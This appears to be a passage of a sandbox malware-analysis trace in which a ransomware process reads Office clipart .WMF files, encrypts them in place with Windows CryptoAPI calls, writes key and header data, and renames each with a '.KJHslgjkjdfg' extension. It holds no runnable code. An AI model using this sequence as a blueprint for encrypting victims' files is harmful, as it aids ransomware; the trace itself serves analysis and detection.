[0195.530] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.530] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20e8, lpOverlapped=0x0) returned 1 [0195.531] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0) returned 1 [0195.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.531] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20f0, lpOverlapped=0x0) returned 1 [0195.532] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.532] SetEndOfFile (hFile=0x130) returned 1 [0195.534] GetProcessHeap () returned 0x2ef0000 [0195.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.534] GetProcessHeap () returned 0x2ef0000 [0195.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.kjhslgjkjdfg")) returned 1 [0195.535] CloseHandle (hObject=0x130) returned 1 [0195.536] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0195.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.536] GetProcessHeap () returned 0x2ef0000 [0195.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.536] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.536] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.536] GetProcessHeap () returned 0x2ef0000 [0195.537] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.537] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.537] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.537] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.539] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a40, lpOverlapped=0x0) returned 1 [0195.541] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a40, dwBufLen=0x2a40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a40) returned 1 [0195.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.541] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a40, lpOverlapped=0x0) returned 1 [0195.541] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.541] SetEndOfFile (hFile=0x130) returned 1 [0195.544] GetProcessHeap () returned 0x2ef0000 [0195.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.544] GetProcessHeap () returned 0x2ef0000 [0195.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.kjhslgjkjdfg")) returned 1 [0195.545] CloseHandle (hObject=0x130) returned 1 [0195.545] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0195.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.550] GetProcessHeap () returned 0x2ef0000 [0195.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.550] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.550] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0195.553] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.553] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.553] GetProcessHeap () returned 0x2ef0000 [0195.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.554] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.554] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.554] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ec6, lpOverlapped=0x0) returned 1 [0195.555] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ed0) returned 1 [0195.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.555] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ed0, lpOverlapped=0x0) returned 1 [0195.555] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.555] SetEndOfFile (hFile=0x130) returned 1 [0195.558] GetProcessHeap () returned 0x2ef0000 [0195.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.558] GetProcessHeap () returned 0x2ef0000 [0195.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.kjhslgjkjdfg")) returned 1 [0195.559] CloseHandle (hObject=0x130) returned 1 [0195.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0195.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.561] GetProcessHeap () returned 0x2ef0000 [0195.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.561] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.561] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.564] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.564] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.564] GetProcessHeap () returned 0x2ef0000 [0195.564] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.564] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.564] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.564] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.565] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.565] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.565] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.565] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2afa, lpOverlapped=0x0) returned 1 [0195.566] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b00) returned 1 [0195.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.566] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b00, lpOverlapped=0x0) returned 1 [0195.566] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.566] SetEndOfFile (hFile=0x130) returned 1 [0195.569] GetProcessHeap () returned 0x2ef0000 [0195.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.569] GetProcessHeap () returned 0x2ef0000 [0195.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.kjhslgjkjdfg")) returned 1 [0195.570] CloseHandle (hObject=0x130) returned 1 [0195.570] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0195.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.571] GetProcessHeap () returned 0x2ef0000 [0195.571] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.571] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.573] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.573] GetProcessHeap () returned 0x2ef0000 [0195.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.573] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.573] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.574] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x400c, lpOverlapped=0x0) returned 1 [0195.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4010, dwBufLen=0x4010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4010) returned 1 [0195.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4010, lpOverlapped=0x0) returned 1 